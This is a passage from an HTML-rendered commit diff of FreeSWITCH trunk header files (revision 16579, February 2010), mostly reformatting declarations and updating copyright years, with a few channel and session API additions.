</span><span class="lines">@@ -937,7 +933,7 @@
</span><span class="cx"> * @param data Any data to be passed to the starting function
</span><span class="cx"> * @param cont The pool to use
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
</ins><span class="cx">                                                                                                          switch_thread_start_t func, void *data, switch_memory_pool_t *cont);
</span><span class="cx">
</span><span class="cx"> /** @} */
</span><span class="lines">@@ -1006,7 +1002,7 @@
</span><span class="cx"> * @param protocol The protocol of the socket (e.g., SWITCH_PROTO_TCP).
</span><span class="cx"> * @param pool The pool to use
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Shutdown either reading, writing, or both sides of a socket.
</span><span class="lines">@@ -1055,7 +1051,7 @@
</span><span class="cx"> * @param sock The socket we are listening on.
</span><span class="cx"> * @param pool The pool for the new socket.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Issue a connection request to a socket either on the same machine
</span><span class="lines">@@ -1095,7 +1091,7 @@
</span><span class="cx"> * </PRE>
</span><span class="cx"> * @param pool The pool for the apr_sockaddr_t and associated storage.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname,
</ins><span class="cx">                                                                                                                  int32_t family, switch_port_t port, int32_t flags, switch_memory_pool_t *pool);
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -1124,7 +1120,8 @@
</span><span class="cx"> * @param buf The data to send
</span><span class="cx"> * @param len The length of the data to send
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+                                                                                                         switch_size_t *len);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * @param from The apr_sockaddr_t to fill in the recipient info
</span><span class="lines">@@ -1219,26 +1216,27 @@
</span><span class="cx">
</span><span class="cx"> /** @} */
</span><span class="cx">
</span><del>-typedef enum {
- SWITCH_NO_DESC, /**< nothing here */
- SWITCH_POLL_SOCKET, /**< descriptor refers to a socket */
- SWITCH_POLL_FILE, /**< descriptor refers to a file */
- SWITCH_POLL_LASTDESC /**< descriptor is the last one in the list */
-} switch_pollset_type_t;
</del><ins>+         typedef enum {
+                 SWITCH_NO_DESC,                 /**< nothing here */
+                 SWITCH_POLL_SOCKET,         /**< descriptor refers to a socket */
+                 SWITCH_POLL_FILE,                 /**< descriptor refers to a file */
+                 SWITCH_POLL_LASTDESC         /**< descriptor is the last one in the list */
+         } switch_pollset_type_t;
</ins><span class="cx">
</span><del>-typedef union {
- switch_file_t *f; /**< file */
- switch_socket_t *s; /**< socket */
-} switch_descriptor_t;
</del><ins>+         typedef union {
+                 switch_file_t *f;                 /**< file */
+                 switch_socket_t *s;         /**< socket */
+         } switch_descriptor_t;
</ins><span class="cx">
</span><del>-struct switch_pollfd {
- switch_memory_pool_t *p; /**< associated pool */
- switch_pollset_type_t desc_type; /**< descriptor type */
- int16_t reqevents; /**< requested events */
- int16_t rtnevents; /**< returned events */
- switch_descriptor_t desc; /**< @see apr_descriptor */
- void *client_data; /**< allows app to associate context */
-};
</del><ins>+         struct switch_pollfd {
+                 switch_memory_pool_t *p;                 /**< associated pool */
+                 switch_pollset_type_t desc_type;
+                                                                         /**< descriptor type */
+                 int16_t reqevents;        /**< requested events */
+                 int16_t rtnevents;        /**< returned events */
+                 switch_descriptor_t desc;         /**< @see apr_descriptor */
+                 void *client_data;                /**< allows app to associate context */
+         };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1277,7 +1275,7 @@
</span><span class="cx"> * platforms; the apr_pollset_create() call will fail with
</span><span class="cx"> * APR_ENOTIMPL on platforms where it is not supported.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Add a socket or file descriptor to a pollset
</span><span class="lines">@@ -1321,10 +1319,10 @@
</span><span class="cx"> \param pool the memory pool to use
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS when successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p);
-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p);
+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Create an anonymous pipe.
</span><span class="lines">@@ -1332,7 +1330,7 @@
</span><span class="cx"> * @param out The file descriptor to use as output from the pipe.
</span><span class="cx"> * @param pool The pool to operate on.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Get the timeout value for a pipe or manipulate the blocking state.
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_bitpackh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_bitpack.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_bitpack.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_bitpack.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_bufferh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_buffer.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_buffer.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_buffer.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_callerh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_caller.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_caller.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_caller.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -147,7 +147,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_caller_extension_t *) switch_caller_extension_new(_In_ switch_core_session_t *session,
</span><span class="cx">                                                                                                                                                 _In_z_ const char *extension_name, _In_z_ const char *extension_number);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</ins><span class="cx">                                                                                                                          switch_memory_pool_t *pool);
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -169,8 +169,8 @@
</span><span class="cx"> \param fmt optional argument to the application (printf format string)
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(_In_ switch_core_session_t *session,
</span><del>-                                                                                                                         _In_ switch_caller_extension_t *caller_extension,
-                                                                                                                         _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
</del><ins>+                                                                                                                                        _In_ switch_caller_extension_t *caller_extension,
+                                                                                                                                        _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*!
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_channelh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_channel.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_channel.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_channel.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -48,6 +48,7 @@
</span><span class="cx">         switch_time_t progress_media;
</span><span class="cx">         switch_time_t hungup;
</span><span class="cx">         switch_time_t transferred;
</span><ins>+        switch_time_t resurrected;
</ins><span class="cx">         struct switch_channel_timetable *next;
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -74,21 +75,20 @@
</span><span class="cx"> \param channel channel to test
</span><span class="cx"> \return true if the channel is ready
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media);
</del><ins>+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media);
</ins><span class="cx">
</span><del>-#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_FALSE)
-#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE)
</del><ins>+#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_FALSE)
+#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_TRUE)
+
</ins><span class="cx"> #define switch_channel_up(_channel) (switch_channel_get_state(_channel) < CS_HANGUP)
</span><span class="cx"> #define switch_channel_down(_channel) (switch_channel_get_state(_channel) >= CS_HANGUP)
</span><span class="cx"> #define switch_channel_media_ack(_channel) (!switch_channel_test_cap(_channel, CC_MEDIA_ACK) || switch_channel_test_flag(_channel, CF_MEDIA_ACK))
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_wait_for_state(switch_channel_t *channel, switch_channel_t *other_channel, switch_channel_state_t want_state);
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_wait_for_state_timeout(switch_channel_t *other_channel, switch_channel_state_t want_state, uint32_t timeout);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
-                                                                                                                         switch_channel_flag_t want_flag,
-                                                                                                                         switch_bool_t pres,
-                                                                                                                         uint32_t to,
-                                                                                                                         switch_channel_t *super_channel);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+                                                                                                                         switch_channel_flag_t want_flag,
+                                                                                                                         switch_bool_t pres, uint32_t to, switch_channel_t *super_channel);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_set_state(switch_channel_t *channel,
</span><span class="cx">                                                                                                                                                 const char *file, const char *func, int line, switch_channel_state_t state);
</span><span class="lines">@@ -142,7 +142,8 @@
</span><span class="cx"> \param pool memory_pool to use for allocation
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS if successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction, _In_ switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction,
+                                                                                                         _In_ switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Connect a newly allocated channel to a session object and setup it's initial state
</span><span class="lines">@@ -231,12 +232,12 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_profile_var(switch_channel_t *channel, const char *name, const char *val);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                          const char *varname, const char *value, switch_bool_t var_check);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_printf(switch_channel_t *channel, const char *varname, const char *fmt, ...);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_name_printf(switch_channel_t *channel, const char *val, const char *fmt, ...);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                                          const char *varname, const char *value, switch_bool_t var_check);
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_channel_get_variable_partner(switch_channel_t *channel, const char *varname);
</span><span class="cx">
</span><span class="lines">@@ -250,7 +251,9 @@
</span><span class="cx"> \param varname the name of the variable
</span><span class="cx"> \return the value of the requested variable
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname);
</del><ins>+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup);
+#define switch_channel_get_variable(_c, _v) switch_channel_get_variable_dup(_c, _v, SWITCH_TRUE)
+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_get_variables(switch_channel_t *channel, switch_event_t **event);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_pass_callee_id(switch_channel_t *channel, switch_channel_t *other_channel);
</span><span class="lines">@@ -300,10 +303,14 @@
</span><span class="cx"> \param channel channel on which to set flag
</span><span class="cx"> \param flag or'd list of flags to set
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag);
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value);
+#define switch_channel_set_flag(_c, _f) switch_channel_set_flag_value(_c, _f, 1)
+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_set_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value);
+#define switch_channel_set_cap(_c, _cc) switch_channel_set_cap_value(_c, _cc, 1)
+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</span><span class="cx"> SWITCH_DECLARE(uint32_t) switch_channel_test_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</span><span class="cx">
</span><span class="lines">@@ -338,6 +345,7 @@
</span><span class="cx"> \param flag flag to clear
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_flag(switch_channel_t *channel, switch_channel_flag_t flag);
</span><ins>+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_perform_answer(switch_channel_t *channel, const char *file, const char *func, int line);
</span><span class="lines">@@ -539,7 +547,9 @@
</span><span class="cx"> SWITCH_DECLARE(int) switch_channel_test_app_flag(switch_channel_t *channel, uint32_t flags);
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_set_hangup_time(switch_channel_t *channel);
</span><span class="cx"> SWITCH_DECLARE(switch_call_direction_t) switch_channel_direction(switch_channel_t *channel);
</span><del>-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel);
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel);
</ins><span class="cx">
</span><span class="cx"> /** @} */
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_configh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_config.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_config.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_config.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_consoleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_console.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_console.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_console.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -81,12 +81,12 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_shutdown(void);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line,
</ins><span class="cx">                                                                                                                                  const char *last_word, switch_console_callback_match_t **matches);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_push_match(switch_console_callback_match_t **matches, const char *new_val);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches);
</span><del>-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word,
-                                                                                                         FILE *console_out, switch_stream_handle_t *stream, switch_xml_t xml);
</del><ins>+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word,
+                                                                                                         FILE * console_out, switch_stream_handle_t *stream, switch_xml_t xml);
</ins><span class="cx"> SWITCH_DECLARE(void) switch_console_sort_matches(switch_console_callback_match_t *matches);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_save_history(void);
</span><span class="cx"> SWITCH_DECLARE(char *) switch_console_expand_alias(char *cmd, char *arg);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_coreh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -369,7 +369,8 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #ifdef SWITCH_DEBUG_RWLOCKS
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func, int line);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func,
+                                                                                                                                                         int line);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -595,6 +596,9 @@
</span><span class="cx"> SWITCH_DECLARE(switch_memory_pool_t *) switch_core_session_get_pool(_In_ switch_core_session_t *session);
</span><span class="cx"> ///\}
</span><span class="cx">
</span><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+                                                                                                                                                switch_memory_pool_t **pool, switch_xml_t xml);
+
</ins><span class="cx"> ///\defgroup sessm Session Creation / Management
</span><span class="cx"> ///\ingroup core1
</span><span class="cx"> ///\{
</span><span class="lines">@@ -604,7 +608,7 @@
</span><span class="cx"> \param pool the pool to use for the allocation (a new one will be used if NULL)
</span><span class="cx"> \return the newly created session
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
</ins><span class="cx">                                                                                                                                                  _In_ switch_call_direction_t direction,
</span><span class="cx">                                                                                                                                                  _Inout_opt_ switch_memory_pool_t **pool, _In_opt_z_ const char *use_uuid);
</span><span class="cx"> #define switch_core_session_request(_ep, _d, _p) switch_core_session_request_uuid(_ep, _d, _p, NULL)
</span><span class="lines">@@ -645,9 +649,8 @@
</span><span class="cx"> \param pool the pool to use
</span><span class="cx"> \return the newly created session
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name,
-                                                                                                                                                        _In_ switch_call_direction_t direction,
-                                                                                                                                                        _Inout_ switch_memory_pool_t **pool);
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name,
+                                                                                                                                                        _In_ switch_call_direction_t direction, _Inout_ switch_memory_pool_t **pool);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Launch the session thread (state machine) on a given session
</span><span class="lines">@@ -963,7 +966,8 @@
</span><span class="cx">                                                                                                                                                  _In_z_ const char *endpoint_name,
</span><span class="cx">                                                                                                                                                  _In_ switch_caller_profile_t *caller_profile,
</span><span class="cx">                                                                                                                                                  _Inout_ switch_core_session_t **new_session,
</span><del>-                                                                                                                                                 _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                                                                 _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags,
+                                                                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_call_cause_t) switch_core_session_resurrect_channel(_In_z_ const char *endpoint_name,
</span><span class="cx">                                                                                                                                                  _Inout_ switch_core_session_t **new_session,
</span><span class="lines">@@ -975,7 +979,7 @@
</span><span class="cx"> \param message the message to recieve
</span><span class="cx"> \return the status returned by the message handler
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session,
</ins><span class="cx">                                                                                                                                                         _In_ switch_core_session_message_t *message,
</span><span class="cx">                                                                                                                                                         const char *file, const char *func, int line);
</span><span class="cx"> #define switch_core_session_receive_message(_session, _message) switch_core_session_perform_receive_message(_session, _message, \
</span><span class="lines">@@ -1013,7 +1017,8 @@
</span><span class="cx"> \param priority event has high priority
</span><span class="cx"> \return the status returned by the message handler
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event, switch_bool_t priority);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event,
+                                                                                                                                                switch_bool_t priority);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1381,10 +1386,10 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_unlock_codec_read(_In_ switch_core_session_t *session);
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1636,8 +1641,7 @@
</span><span class="cx"> \param flags flags in/out for fine tuning
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS with len adjusted to the bytes written if successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
